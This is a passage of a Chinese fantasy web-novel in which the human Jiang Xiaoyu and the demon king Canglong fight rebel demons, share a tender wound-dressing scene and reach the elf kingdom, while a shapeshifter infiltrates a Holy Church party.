江小鱼摸了摸女孩的头:“你有这样的决心真是太勇敢了,等着你成为勇者的一天!”
女孩高兴地点了点头:“嗯!”
村长让女孩去把村民们叫来。不一会儿,大家聚在村口,村长从怀里掏出一个布包,递给江小鱼。
“这是我们的一点心意,不多,请收下。”
江小鱼打开布包,里面是几枚银币和一些铜板。他愣了一下,然后把布包推回去。
“这我们不能要。”
村长有些急了:“这怎么行?你们可是救了我们的命——”
“真的不用,”江小鱼一边摇头一边摆手,“我们有急事要赶路,带着这些也不方便。”
江小鱼看了一眼周围,村民们站在旁边,有人手里还攥着几枚铜板,像是准备一起凑的;有人怀里抱着几颗果子,犹犹豫豫不敢上前;还有人手里拿着一些食物,作势要递过来。他们的衣服上打着补丁,脸上带着疲惫,但这也挡不住他们眼中的感激。
江小鱼忽然觉得鼻子有点酸,他看了一圈,目光落在村长身后一个小架子上。上面放着几个五颜六色的、圆滚滚的、富有光泽的小石头。
“这是什么?”
他走过去拿了一颗,放在手里掂了掂。
村长看了一眼:“哦,那是暖石。冬天揣在手里会发热,村里孩子冬天上学堂人手一个。”
江小鱼:“会发热的石头?”
他把那颗暖石攥在手里,等了几秒之后,果然变热了,暖洋洋的,像捧着一杯热奶茶。
“好厉害!这是什么原理?”
村长摇头:“不知道,有时在沙子里能捡到这种石头。本以为这石头只是好看,没想到还能发热,不过也不是什么值钱东西。”
“这个能用多久?”
“用几年没问题,再久了就不太热了,不过扔火里烧一下又能恢复。”
江小鱼两个指头捏着石头对着光看,还有些晶莹剔透的,像水晶一样。
这让江小鱼想起自己世界的暖宝宝,只不过暖宝宝是化学发热的,而且是一次性用品,用完就扔。这东西还挺不错的,可以重复使用,好用又环保。
“能给我一颗吗?”
村长笑了笑:“你想要的话就拿去吧,都给你也行。”
江小鱼边拿边数着:“这颗给我,这颗给你,这颗是莉莉丝的,这颗是伊兰的,这颗是小夜的……”
拿完之后,小鱼心满意足地把石头都收了起来。
村长问:“只要这个吗?”
江小鱼:“嗯!这就可以了。”
他回头看了一眼沧溟,沧溟正站在不远处看着这边。
江小鱼走过去,把一块暖石塞进沧溟手里:“你的。”
“石头?”
“这可不是一般的石头,这是暖石,会发热的,而且长得很好看。”
沧溟将暖石轻轻攥在手里,随后收了起来。
“嗯。”
江小鱼跟村长道了谢,两人往村子外走去,继续赶路。
走了一段,江小鱼从口袋里翻出暖石,边走边抛。
“这东西真神奇,不用充电,不用加燃料,自己就能发热。”
沧溟:“你拿了很多?”
“还好吧?主要是这么方便又好看的东西,想给他们每人拿一个。尤其是小夜,他肯定会特喜欢。”
“……嗯。”
江小鱼摸了摸核心:“说起来,薇尔你怎么样了?还好吗?”
没有回应。
“薇尔?薇尔你说话呀薇尔。”
还是没有回应。
“薇尔薇尔薇尔薇尔薇尔薇尔薇尔薇尔薇尔薇尔薇尔薇尔。”
嗯?怎么感觉这么叫很像警报器?
“薇尔——”
“我在。”薇尔终于出声。
江小鱼没忍住笑出声,感觉像是在叫语音助手,毕竟薇尔的声音既幽深又空灵。
“那个……你这次消耗很大吗?需要多久才能恢复?”
薇尔:“还好,大概需要一周,不过下次再想帮你的话,需要一个月之后。”
江小鱼:“好,这次谢谢你了。”
天色渐晚,两人又走了一段路,沧溟在一个背风的小山坡前停下。
“就这。”
江小鱼环顾四周点了点头:“好。”
两人捡了柴、布了阵、点了篝火,围在篝火边坐着。
沧溟欲言又止了一番,还略微有点不自在:“江小鱼。”
“嗯?”
“你为什么不要他们给你的东西,”沧溟看了看自己手心的石头,“而是选了这些石头?”
江小鱼想了想:“因为……我不能收,那些东西对他们来说尤其珍贵。但如果我什么也不收,他们也许会愧疚,我不想让他们有这种感受。”
“而且,你不觉得这些小石头很有趣吗?又漂亮又实用,你的手还总是冷冰冰的,拿这些多合适。”
沧溟有些意外,没想到江小鱼拿这些东西的理由还有他。
“嗯。”他默默把暖石攥紧,嘴角微微翘起,尾巴在身后晃动。
手心里暖,心里也暖。
“沧溟。”
沧溟看向他。
江小鱼看着他的眼睛:“咱俩也算过命的交情了吧?叫我的名字可以不用那么拘谨,叫我小鱼就好。如果你愿意的话,叫鱼鱼也不是不行,但你不准叫我咸鱼。”
沧溟:“好,小鱼。”
江小鱼愣
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了一下,他没想到沧溟会这么干脆地答应,甚至都做好了被拒绝的准备。
“哦……好。”他假装低头看火,感觉脸好像有点烫。怎么跟他想的不一样,忽然有点不好意思了。
沧溟又拿出了那本书看,江小鱼忍不住凑到他旁边一起看。
“这本书讲的什么啊?你怎么总在看它?你为什么会看精灵族的书?从哪儿来的?”
江小鱼像个好奇宝宝一样,问了一连串问题,问得沧溟一时不知道该从哪个问题开始回答。
沧溟:“精灵王的藏书。”
江小鱼眼睛一亮:“他还会借书给你看?精灵王是怎样的精灵?你们……关系很好吗?”
说完江小鱼就后悔了,认识几千年的关系,怎么会不好?
沧溟合上书看着江小鱼:“你觉得呢?”
江小鱼愣住了,怎么把问题又抛给他了?
他支支吾吾半天,心里矛盾得很,最后吐出一句:“不知道。”
他听到沧溟不知道为什么笑了一声,然后说:“你见到他就知道了。”
什么啊?怎么还卖关子?
“哦……”
“那这本书呢?讲的什么?”
“精灵和短命种的故事……”
江小鱼:“什么故事?爱情故事?你还会看这种书?”
沧溟:“闲来无聊,打发时间。”
江小鱼一想到魔王和精灵王这种高冷又强大的人还会一本正经地看这些爱情小说就觉得又诡异又好笑。
江小鱼把暖石掏出来握在手里,已经有些不热了。
“这个凉了怎么办?真扔火里烧?”
他犹豫了一下,还是没扔,怕烧坏了。
夜深了,江小鱼躺在毯子上,盯着外面的星空。
沧溟坐在篝火边,闭着眼,尾巴搭在木桩上。
江小鱼翻了个身,从口袋里掏出那颗暖石攥在手心里。
迷迷糊糊快睡着的时候,他听见沧溟走动的声音。
沧溟蹲下来,从江小鱼手心里拿出那颗凉了的暖石,扔进了火里。
几秒后,石头被烧的通红。他等了一会儿,用尾巴把它拨出来。石头滚到一边,暗红色的光芒慢慢消退,变回原来的颜色。
沧溟把石头捡起来,放回了江小鱼的手心里。
江小鱼的手指动了动,攥住了重新变回温暖的暖石。
沧溟站起来,走回自己的位置然后坐下。
风从东边吹来,带着些许凉意,篝火还在烧,火星飘向夜空,慢慢熄灭。
——与此同时,荒原的另一头。
一道黑影从空中掠过,落在一处废弃的村落里。
奈亚斯从焦黑的废墟里走出来,紫发在夜风中飘扬,暗金色的瞳孔扫过周围。
地上有干涸的血迹,空气中弥漫着腐臭和焦糊的味道。
他蹲下来,手指沾了一点地上的灰烬,放在鼻尖闻了闻。
“魔族。”他自言自语,语气漫不经心,“跑得还挺快。”
他站起来环顾四周,这里曾经有人住过,现在这里只剩下一片焦土。
“可惜。”他说,“本来还想吃点东西。”
他的身影消失在夜色中,只留下废墟和风声。
22. 能不能给我看看?就一眼
江小鱼和沧溟两人继续往东走。风比昨天小了些,但天色灰蒙蒙的,像是要下雨。
“沧溟。”
“嗯。”
“还有多久到精灵族?”
“快了。”
江小鱼叹了口气:“你每次都这么说。”
走了一会,眼前出现了又一个村庄。与上一个村庄不同的是,到处飘着浓黑呛人的烟,地上燃着一个又一个火堆。
难道又出现魔物了?
江小鱼不自觉加快了脚步,沧溟紧随其后。
到了村口,有一个村民倒在血泊中,再往里,尸体、血迹、尖叫声、哭喊声混乱不堪。
原来不是魔物。
几个体型魁梧的魔族正在屠杀,周围已经躺了好几具尸体。
一个魔族正举刀砍向一个村民——
江小鱼拔腿就往那边跑,但离得太远了,来不及。
他拿出自己的盾牌,用力朝那个方向甩出去。
盾牌在空中旋转,在那个魔族挥刀砍下的那一瞬间,精准地砸在他的刀上。
“铛——”
刀偏了,砍在了那个村民旁边的地上。盾牌落在地上,发出沉闷的响声。
那人连滚带爬地躲开。
江小鱼跑过去捡起盾牌挡在村民前面。
“没事了。”
那个魔族重新举起刀,看向江小鱼,咧嘴笑了。
“戈尔德。”沧溟的声音从身后传来。
江小鱼回头看见沧溟已经站在村子中央。
那个叫戈尔德的魔族从人群中走出来。他体型魁梧,深褐色皮肤,脸上有疤。手里提着一把双刃战斧,斧刃上沾着血。
他看见沧溟,扯了下嘴角:“魔王?好久不见。”
沧溟:“收手。”
戈尔德大笑。
“收手?你是魔王,不是人类的看门狗。魔族生来就是要杀人、吃人、作恶的,这是我们的天性。你想让我们像人类一样和平共处?那是背叛!”
他瞥了一眼江小鱼,冷笑一声:“这是你养的新宠物?还挺别致。”
江小鱼脸一黑,正想开口输出一番,旁边有道暗光飞出,戈尔德侧身避开,战斧从地上飞回他手里。
沧溟挡在江小鱼前面,脸色冷的可怕。
戈尔德挑眉,一副发现什么新奇有趣事情的样子:“哦?”
没有多余的交流,戈尔德冲过来,举起战斧劈下。沧溟侧身避开,斧刃擦着他的衣角过去,砍在地上。地面裂开一条缝,碎石飞溅。
沧溟一掌拍在戈尔德胸口,戈尔德被击得退了两步。
站稳后笑了一声。
“就这点力气?”
戈尔德又举起战斧横劈过去,沧溟后仰避开,斧刃从他鼻尖上方扫过。
沧溟的尾巴从侧面抽过去,击中戈尔德的腰侧,戈尔德踉跄了一下。
与此同时,几个魔族士兵绕开戈尔德和沧溟,朝村民扑过去。
江小鱼来不及多想,冲过去举起盾挡住一个士兵的刀,用剑从盾后刺出,捅进那个士兵腹部。
这个士兵倒下,另一个又冲过来。
“站我后面!”江小鱼冲村民喊。
村民抱着孩子躲在他身后,江小鱼举盾又挡住一刀,被撞得后退了两步。
体型差很大,有点吃亏啊。
远处,沧溟和戈尔德的战斗还在继续。
戈尔德又一斧劈下来,沧溟侧身避开,尾巴横扫,击中了戈尔德的膝盖。
戈尔德单膝跪地,又立刻弹起来,战斧从下往上撩,沧溟后仰避开,一缕黑发被削断,飘落在地上。
戈尔德勾起嘴角,暗中勾了勾手指,一把剑从地上飘起来,刺向江小鱼的方向。
此时,江小鱼正在和魔族士兵僵持,感知到危险但来不及反应。
遭了!
沧溟眼神一凝,往江小鱼的方向施展魔法,出现一个保护屏障。剑打在屏障上弹了出去。
戈尔德没有放过这个机会,举起战斧劈向沧溟。
沧溟避之不及,斧刃擦过他的手臂,衣服被划开一道口子,血渗了出来。
“看看你现在的样子,还称得上是魔王吗?”戈尔德冷笑,“你问问那些人类,他们信你吗?”
江小鱼在远处注意到那边的状况,心里揪了一下。
他分了神,差点被一个士兵砍中,赶紧回神举盾挡住。
“你还有空看别人?”那个士兵嘲笑道。
江小鱼冷哼一声,一剑砍在士兵手臂上。士兵的手臂飞了出去,江小鱼一脚将士兵踹倒。
又一个士兵冲过来,江小鱼避开,举盾挡住,被撞得连连退了好几步,他咬牙用力抵住站定。
不能退,我的身后还有别人。
江小鱼奋起抵抗,一剑抹了魔族士兵的脖子。
另一边,戈尔德忽然停下,把战斧插在地上。他活动了一下肩膀,骨节咔咔作响。
他身上的伤口开始泛红,肌肉膨胀,青筋暴起。他的眼睛从暗黄色变成血红色,呼吸变得粗重。
这是戈尔德的能力——嗜血狂化,受伤越重,力量越强。
他拔出战斧,冲向沧溟。这一次速度更快,力量更大。
沧溟向后一闪,戈尔德劈了个空,戈尔德转身又劈,沧溟又从容避开了。
戈尔德惊讶:“怎么可能?”
戈尔德卯足力气劈向沧溟,在一顿输出之后,终于在沧溟身上又划了道口子。
江小鱼刚解决完一个士兵,又一个冲过来。
到底还有多少魔族士兵?累也要把他累死了。
江小鱼举盾挡住,但这位力气更大,他腿一软单膝跪在了地上。
士兵把刀往下压。
快撑不住了……
江小鱼另一只手从腰间拔出短刀,猛地刺进那个士兵的腿。
士兵惨叫一声,酿跄着后退。
江小鱼站起来,把短刀收起,重新举起盾和剑。
另一边,戈尔德又一斧劈下来,这次沧溟没有再躲,抬手硬生生接住了斧刃。战斧停在半空中,再也劈不下去。
戈尔德瞳孔缩了一下。
“你——”他用力往下压,但斧刃纹丝不动。
沧溟看着戈尔德。
“我说了,收手。”
“凭什么?”戈尔德咬牙切齿,“那些人类怕你、恨你、想杀你,你在保护一群想杀你的人!”
沧溟手收紧,紫光炸开,戈尔德被震飞,撞在废墟上,他吐了一口血。
“你……”他撑着战斧站起来,身体已经到了极限,但眼神还是不服,“你为什么不杀我?”
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“你走吧。”沧溟说。
戈尔德愣了一下,然后开始大笑,笑着笑着又咳了一口血。
“你还是这样。”他摇了摇头,“几百年了,你还是这样。总有一天你会后悔的。”
他转身踉跄着往村外走,剩下的魔族士兵跟着撤退,村子终于安静下来。
江小鱼撑着剑向沧溟走过去。
“沧溟,你的伤……”
“没事。你呢?”
“我没受伤。”
“那就好。”
村民们从躲藏的地方出来,有人跪下来道谢,有人抱着亲人哭,道谢声和呜咽声此起彼伏。
“谢谢你们……谢谢你们……”
江小鱼摆了摆手:“应该的。”
两人调整了下状态,往村外走去。
两个人沉默着走了很久。
江小鱼忍不住开口:“那个戈尔德……是什么人?”
沧溟沉默了一会:“他是魔族叛军的统领。”
“叛军?”
“嗯。”
“他说的那些话……”
“不用在意。”
走了一段,他忽然想起什么。
“对了。”他看向沧溟,“你不是会飞吗?为什么不直接飞过去?”
“低调。”沧溟说。
江小鱼愣了一下:“低调?”
“在天上飞太显眼,气息也不易隐藏。”
江小鱼想了想,好像是这么回事。天上忽然飞过去一条龙,谁看了都知道不简单。而且沧溟之前在矿洞里说过“裂缝恐怕不止一处”,说不定还有别的什么东西在暗处盯着。
“懂了。”他点点头。
走了一会,他又忍不住问:“那你……龙的形态是什么样的?”
沧溟看了他一眼。
江小鱼被他看得有些心虚,但还是硬着头皮问:“我就是在想,你平时有尾巴有角,但人形的时候翅膀还要特意展开。那龙形态的时候是不是更大?角和尾巴也不一样?”
“能不能给我看看?”江小鱼的眼睛忽然亮了一下,“就一眼。”
沧溟沉默了一会儿。
“还不是时候。”他说。
江小鱼愣了一下:“为什么?”
沧溟没有回答他,继续往前走。
江小鱼跟上去,在心里嘀咕:又不是什么见不得人的东西,为什么不能给我看看?
他不会是不好意思吧?
……想什么呢?
还不是时候?到底什么时候才是时候?
两人找了个地方休息。
“沧溟,你的伤怎么样了?真没事吗?”
“没事。”
“鬼才信,那可是用那么锋利的斧头划的啊,不好好处理会感染吧?”
江小鱼凑过去看,伤口的血已经不流了,但伤口边缘泛暗红色,肉也往外翻,看起来触目惊心,完全不像没事的样子。
“……”
果然还是应该处理一下吧?就算是魔王,受了伤也不能这么任性啊。
江小鱼翻出了绷带和药剂,还好上次还剩了些。
他拿着这些看向沧溟,忽然又顿住了。
沧溟的伤口,一条在手臂上,这还好说,但另一条在……腰腹附近。
这……怎么包扎?
23. 把上衣脱、脱了
江小鱼略显尴尬的拿着绷带和药剂在原地不知所措。
“沧溟,那个……你……配合一下?”
沧溟嘴角一弯:“怎么配合?”
江小鱼露出疑惑的表情:“怎么配合?当然是……”
江小鱼顿了顿,脸上浮现出一抹红,略带不好意思和别扭的语气说:“把、把衣服撩起来,或者……把上衣……脱、脱了。”
嗯,不仅说话突然有点结巴,声音也越来越小。
怎么忽然这么羞耻啊!
沧溟看江小鱼的反应觉得很有意思,忽然起了点小心思,他看向江小鱼问:“不好意思?在魔宫浴池的时候……不就已经毫无保留了吗?”
江小鱼一听沧溟的话,想起当时的画面,脸变得更红了。
“那不一样。”
沧溟追问:“哪里不一样?”
江小鱼一时回答不出,最后憋出一句:“反正就是不一样。”
沧溟笑了一声:“嗯,不一样。”
然后照江小鱼所说,十分配合地直接把上衣脱了随手放在一边。
江小鱼愣了一下,没想到沧溟这么直接,随后拿着绷带和药剂坐在沧溟旁边。
他将药剂倒在绷带上,先把胳膊上的伤缠了几圈绷带,打了个结,包好了。
然后是腰腹上的伤……
那道伤从腰侧斜向上延伸到腰后,伤口不算很深,但很长,有些皮肉微微外翻。
看着就很疼,而且这样的伤口自己处理非常不方便。
江小鱼盯着那道伤口看了几秒,心里忽然有点堵。沧溟是为了保护他,分了心才受了伤……
“疼吗?”
“不疼。”
“骗人。”
江小鱼把药水倒在绷带上,手有点抖,洒了些药水出来。他深吸一口气,稳了稳手,然后把浸了药水的绷带按在伤口上。
沧溟的身体微微绷紧了一下。
“不是不疼吗?”江小鱼小声说,手上的动作不自觉放轻了很多。
沧溟的嘴到底是什么做的,怎么这么硬?简直比我爷的腰杆子还硬。
江小鱼撇了撇嘴,动作更加轻柔仔细。缠到腰后的时候,江小鱼的手绕到沧溟后面,像是环抱住他一样,江小鱼的脸几乎贴在沧溟的胸口上,距离极近,姿势极其暧昧。
江小鱼能闻到沧溟身上的气息,一股清冷的香味,带着一丝血腥味。每次不小心划过沧溟的肌肤,手指就像触电了般弹开,又装作什么都没发生的样子继续缠绷带。
他感觉此时此刻的时间好漫长,但又忍不住想,如果能再慢点、再慢点就好了。
绷带从腰际一路往上,缠到了胸下。
“好了。”
江小鱼往后退了退。
沧溟看了眼身上缠着的绷带,晃了晃尾巴,看起来好像很满意。
“沧溟。”
“嗯。”
“戈尔德说的那些话……你真的不在意吗?”
“在不在意,改变不了什么。”
江小鱼愣了一下,他想起戈尔德说的“那些人类怕你、恨你、想杀你”,想起村民们看见沧溟时躲闪的眼神和恐惧的神情……
“那为什么还要救他们?你明明知道……”
沧溟看了他很久,才说道:“想救,便救了。”
江小鱼忽然有点说不上来的感觉,自己印象中的魔王无恶不作、视生命如草芥、说一不二。但沧溟不是,他救了那些村民,哪怕那些村民都怕他。他放走了戈尔德,哪怕戈尔德想杀他。
“你为什么和我印象中的魔王不一样?”
“你印象里的魔王是什么样的?”
江小鱼想了想:“就是那种……很坏啊,杀人放火无恶不作,所有人都怕他,他自己也觉得这样挺好的。”
沧溟沉默了一会儿。
“我不是。”
江小鱼:“我知道你不是,但为什么?你明明是魔王,你明明可以,为什么不?”
沧溟:“我就是我,我先是我,才是魔王。”
“那你放走戈尔德是因为他可能会改变吗?”
“他不会。”他说,“杀了他,他的部下只会换一个人继续,戈尔德至少不会偷袭。”
江小鱼笑了:“所以你放他走,不是因为心软,而是因为他好拿捏?”
沧溟的尾巴晃了一下,看来是了。
江小鱼指着自己:“那我呢?你为什么对我这么好?”
沧溟看着他,久久没有说话。
江小鱼有些心虚,移开目光:“那个,我、我随便问问。”
“你不一样。”沧溟说。
江小鱼的心跳漏了一拍,忐忑地问:“哪儿不一样?”
沧溟尾巴晃了一下,又不说话了,过了一会儿,闭上眼睛说:“该休息了。”
江小鱼:“好啊,不仅学会卖关子了,还学会转移话题了。”
他看了眼沧溟,无奈摇了摇头,把自己的毯子披在沧溟身上。
“你受着伤,不方便穿衣服的话,就多披个毯子吧,别着凉了,夜里冷。”
沧溟接过毯子:“嗯。”
与此同时,北境的天空。
奈亚斯在半空中飘着,没有目的,没有方向。
风从耳边吹过,他眯着眼,暗金色的瞳孔在灰蒙蒙的天色里显得格外冷清。
他叹了口气。
“无聊。”
过了不久,他看见远处的地面上有一支队伍在地面上移动,从高空看下去像一队蚂蚁。
“人?”他歪了歪头。
他降低高度,从云层中往下看。
那群人中有人举着旗子,是圣徽的标志。
“圣教。”他眯起眼睛。
几千年了,圣教的标志从未换过,倒是好认。
他想起那个用禁术把他放出来的人,是圣教的人。
他的嘴角微微勾起。
“往北走……去干什么?”
他想了想,北边是魔族的地盘,圣教的人往北走,是去攻打魔族?
他又观察了一下,他们带着武器和物资,不像是去打仗,更像是去支援。
圣教去支援魔族?
“有意思。”
他从天上落下来,远远地跟在队伍后面。
他摸清了队伍换哨时每两个时辰换一次,也摸清了队伍里谁跟谁关系好,谁被孤立,谁看起来好说话。
队伍里有一个年轻人,看起来二十出头,总是走在队伍末尾,和其他人不太亲近。他的斗篷比其
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他人都新的多,像是刚加入不久。
“新人。”奈亚斯想,“就他了。”
他注意到,其他人在休息时会聚在一起聊天,但这个年轻人总是独自坐着。有人叫他时,他会应一声,但不会主动和别人说话。
夜里,队伍在一处低洼地扎营。
篝火升起来之后,大部分人围在火边吃饭、聊天。那个年轻人独自坐在远处,抱着膝盖,盯着火堆发呆。
年轻人忽然感觉身体一轻,一眨眼,从营地不远处,直接到了营地远处的树林中。
奈亚斯从暗处走出来。
“你是谁?”
年轻人警惕地站起来,手按在剑柄上。
奈亚斯笑了笑,一道红光没入年轻人的额头。年轻人的眼神瞬间涣散,身体软了下去。
奈亚斯接住他,把他放倒在地上。
“乖,”他低声说,“只是睡一会儿。”
他脱下年轻人的斗篷,披在自己身上。又仔细看了看年轻人的脸,闭上眼睛。
奈亚斯的外形开始变化——头发从紫色长发变成深棕色短发,瞳孔从暗金变成了灰蓝色,巩膜由黑变白,脸型与身体轮廓也变得和那年轻人别无二致。
他摸了摸自己的脸,确认没有破绽,然后他整理了一下斗篷,走回营地。
“你去哪儿了?”有人问他。
“方便了一下。”奈亚斯语气自然,表情无辜。
那人没多问,“哦”了一声就走了。
奈亚斯在年轻人之前的位置坐下,抱着膝盖,盯着火堆。他的嘴角微微勾起,又很快压下去。
圣教的人啊……还是这么无聊~
他扫了一眼队伍里的其他人,有人在低声交谈,有人在擦拭武器,有人在看地图。
他们的情绪各有不同,兴奋、紧张、警惕、疲惫……
各种情绪的味道……啊……美味~
他满意地眯了眯眼,但他最喜欢的味道,是恐惧。
不过,至少这一路不会太无聊。
过了一会儿,有人朝他走过来,是一个黄发蓝眼的女孩。这个女孩挨着他坐下,中间隔了一小段距离。
“明天就能到了。”她说。
奈亚斯愣了一下,但面上没有表现出来。
“到了?”
“对呀,接应的地点。”女孩看了他一眼,“你忘了?”
“没忘。”奈亚斯笑了笑,“就是有点紧张。”
女孩点了点头:“紧张也正常,毕竟是你第一次参加任务嘛。”
女孩递给他一块软乎乎的面包。
“这个给你,不吃东西可是没有力气走路的哦。”
奈亚斯愣了一下,犹豫着伸出手接过面包,低下头说:“谢谢。”
女孩笑了笑:“没事,我先走啦,那边有人叫我。”
奈亚斯点点头。
奈亚斯看着女孩的背影,嘴角的弧度加深了一点,把面包往嘴里塞了一口。
人类的食物……真难吃啊……
这么想着,奈亚斯还是把手里的面包吃完了。
不过偶尔吃一次,也很有意思。
明天就到接应的地点了?接应谁呢?真是好奇。
奈亚斯靠在树干上,翘着二郎腿。
24. 恁咋不说咱俩有以后
江小鱼和沧溟又走了大半日。
走着走着,沧溟忽然停下。
江小鱼走得超了几步,疑惑地回头看沧溟:“怎么不走了?”
“到了。”沧溟说。
“到了?”江小鱼更疑惑了,“到哪儿了?”
“精灵族。”
江小鱼环顾四周,虽然没有荒原那么荒了,但这一片空地,连只鸟都没有,哪里有精灵族?
“你确定?”他看向沧溟,“这不是什么都没有吗?”
沧溟抬手,指尖在空中轻轻一点,空中忽然有什么开始波动,涟漪自沧溟的指尖荡开,向四面八方扩散。涟漪所过之处,半球型的巨大透明屏障显现出来,从地面延展到天空,屏障透着虹色,像彩虹泡泡。
江小鱼惊讶道:“这是结界吗?太隐蔽了吧?”
屏障内部什么也看不见,里外都完全透明,就像里面没有任何东西,只是多了这么一层膜。江小鱼凑近看了看,又退后几步,换了几个角度,还是什么都看不见。
“这……就算有人从旁边经过,也根本发现不了吧?”
他忍不住伸手去摸,指尖触碰到屏障的时候,没有任何阻力,直接穿了过去。
江小鱼愣了一下,又往前伸了伸,整条手臂都穿过去了,没有任何反应,和伸进空气里没有任何区别。
怎么沧溟碰就有反应,我碰就没有?难道因为我是人类,没有魔力?
他又往前迈了一步,整个人穿过了屏障,但是什么都没有发生,周围的环境没有任何改变,也没有看见精灵族。
“我怎么没进去?”
江小鱼看了看自己,又看了看身后,屏障还在,屏障上的纹路还在缓缓流动。
“你进去了。”沧溟说。
江小鱼:“……”
江小鱼站在原地,摊开手,一副“你逗我玩呢?”的表情看着沧溟。
“你穿过的是屏障,不是结界。”沧溟补充道。
江小鱼茫然地看着他。
沧溟又抬起手,指尖触碰屏障,屏障没有让他的手穿过去,而是像被激活了,一圈一圈向整个屏障扩散,像是发送信号一样。
然后沧溟把手放下来。
江小鱼看了看周围,没有任何变化。
“就……完了?”
“嗯。”
“然后呢?”
“等。”
“等什么?”
“精灵王。”
江小鱼叹了口气,一屁股坐在地上。
等了一刻钟。
江小鱼从坐着变成蹲着,从蹲着变成站着,从站着变成在附近走来走去。
“你确定会有人来?”江小鱼忍不住问。
“嗯。”
江小鱼又叹了口气:“你不是和精灵王认识吗?怎么见个面这么麻烦?放我们那一个电话的事。”
沧溟挑了挑眉,捕捉到了关键词:“电话?”
江小鱼:“对啊,电话,只要按几个数字,就能直接和对方远程对话了,超方便。”
沧溟看着他,似乎在等他说更多。
江小鱼索性站起来,比划着说:“就是一个小方盒子,有屏幕,你对着这边的人说话,那边的人能听见,可以实时回应。还能发消息、上网、打游戏……”
“游戏?”
“就是……我们那边的一种娱乐方式,在屏幕上操作角色,打怪升级做任务什么的。”
江小鱼忽然有点怀念,手机、电脑、网络……以前觉得离不开的东西,现在想想,好像也没有那么的离不开。
“算了。”他摆了摆手,“说了你也不懂。”
沧溟:“以后再说。”
“以后?”
江小鱼心里冒出一个奇怪念头:他说“以后”,好像默认他们还有很长时间。
他耳朵有点烫,赶紧转移话题:“那个……精灵王怎么还没来?”
过了一会儿,屏障忽然开了一个洞,像门一样打开了。
一个人从里面飘出来。
他穿着银白色的长袍,浅金色的长发垂落在肩上,有着琥珀色的眼睛,却带着一种居高临下的冷淡。五官精致,背后有一对半透明的翅膀,在阳光下泛着淡淡的光。
沧溟:“卡米洛斯。”
江小鱼一愣,卡米洛斯?这就是精灵王?
精灵王的目光扫过沧溟,又扫过江小鱼,在江小鱼身上多停留了一瞬,琥珀色的眼眸里闪过一丝几不可察的微光。
“是你。”
他的声音低沉,看起来很有威严。
沧溟:“是我。”
“来做什么?”
“路过。”
精灵王的嘴角微微抽了一下,很快又恢复冷淡。
“精灵族不欢迎外人。”
“我不是外人。”沧溟平静地说,同时,指尖似乎极其轻微地动了一下,一缕几乎看不见的黑色气息萦绕又散去。
精灵王看着他,又瞥了一眼旁边满脸好奇的江小鱼,沉默了几秒。
“……进来。”
精灵王转身,翅膀轻轻一振,往里面飘去。
江小鱼看了沧溟一眼,沧溟已经跟上去了。
这就进来了?刚才不是说不欢迎吗?怎么感觉气氛这么微妙?两王相见都这样吗?
江小鱼满头问号,还是赶紧跟上去了。
穿过结界,里面是完全不同的样子。
树木高大,枝叶茂密,阳光从树叶缝隙里漏下来,在地上投下斑驳的光影,空气中弥漫着草木和花香的味道。
江小鱼深吸一口气,感觉肺都干净了。
“这里好漂亮。”他小声说。
精灵王带他们走进一座大殿,殿内宽敞明亮,四周柱子上缠绕着藤蔓和花朵。正中央有一张长长的石桌,桌上摆着茶具和几碟点心。
“坐吧。”
精灵王在主位坐下,示意他们坐对面。
沧溟坐下,江小鱼坐到他旁边。
一个精灵族少女端来茶水,放在桌上,然后退下。
江小鱼端起茶杯喝了一口。茶是甜的,带着一股花香,很好喝。他又拿起点心咬了一口,酥酥的,入口即化,里面不知道包的什么馅,甜而不腻。
精灵王端起茶杯,抿了一口,动作优雅。
“说吧,到底什么事?”
沧溟:“月光石。”
精灵王的动作顿了一下。
“你要月光石做什么?”
“有用。”
“什么用?”
沧溟沉默了,精灵王叹了口气。
“你还是这样,什么都不说就让人帮你。”
“你帮不帮?”
精灵王放下茶杯,靠在椅背上:“也不是说不能给你,你先说说为什么要月光石。”
“那个……”江小鱼开口,“我们需要月光石帮一个朋友恢复。”
精灵王看着他:“朋友?受了什么伤?需要用到月光石的,多半是灵魂或魔力本源受损。”
江小鱼点了点头:“嗯嗯,是灵魂上的问题,一位前辈。”
精灵王沉默了一会儿,指节在石桌上轻轻一扣。
“月光石产自矿脉核心,本身就有净化和稳固的效能。既然是为了救人,而非滥用其力……”他端起茶杯,“行。”
江小鱼愣了一下:“这就答应了?”
“不然呢?”精灵王端起茶杯,“让你们在外面等着,等个几百年?”
江小鱼:“……谢谢。”
这时,一个精灵族战士,从殿外走进来。
“王,东边的裂缝又有动静,跑出来几只魔物,现已清除。”
“嗯,知道了。”
精灵战士退下。
江小鱼看了沧溟一眼。
“裂缝?”他问。
精灵王放下茶杯:“你知道?”
“前不久在矿洞里见过。”江小鱼说,“小裂缝,还有从裂缝里跑出来的魔物。”
精灵王点了点头:“这里也有,隔几天跑出来几只,杀也杀不完,烦人。”
“所以才封地?”
“嗯,封地是为了不让魔物跑出去。”精灵王说,“不过,你们来的正好。”
“既然你们要月光石,就顺便帮我把裂缝封了。”精灵王看着沧溟,“你能封吧?”
沧溟:“能。”
江小鱼愣了一下:“你能封裂缝?那矿洞的裂缝……?”
沧溟:“那个已经快闭合了,不需要封。”
“哦……”
江小鱼想了想,又问:“那精灵王封不了吗?”
精灵王的眼神躲闪了一下,略略有些心虚地说:“那裂缝……属性很特殊,带着强烈的暗和侵蚀特性,我的力量对它效果不大。而且……那次尝试之后,裂缝反而扩大了一些。”
江小鱼:“……”
“所以你们来得正好。”精灵王朝沧溟抬了抬下巴,“他不一样,龙族有空间天赋,封裂缝对他来说小菜一碟。”
“那裂缝在哪儿?”
“东边,旧地深处。”精灵王站起来,走到窗边,指着远处一片银白色的光,“月光石矿脉也在那边,要拿到月光石,得先穿过裂缝区域。”
“不过,我会带你们走一条相对安全的路线。”精灵王说,“我亲自带。”
江小鱼愣了一下:“你亲自?”
“怎么,不信?”精灵王挑眉。
“不是。”江小鱼想了想,“就是……你看起来不像会打架的样子。”
精灵王的表情僵了一瞬。
“我是一族之王,”精灵王的语气恢复了高冷,“不是只会喝茶的摆设。”
江小鱼:“哦。”
精灵王深吸一口气,转向沧溟:“你的人,你管管。”
沧溟看了江小鱼
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一眼:“他说的是事实。”
江小鱼差点笑出声,好不容易才憋住。
“这几天你们就住这里吧,有人帮你们安排住处。”
说着,精灵王往外走。
沧溟:“卡米拉。”
精灵王脚步一顿,回头看沧溟:“你叫我什么?”
沧溟:“卡米拉。”
精灵王:“没有让你再叫一次的意思。”
沧溟看着他。
“你再叫一次,我把你扔出去。”
精灵王哼了一声,然后走了。
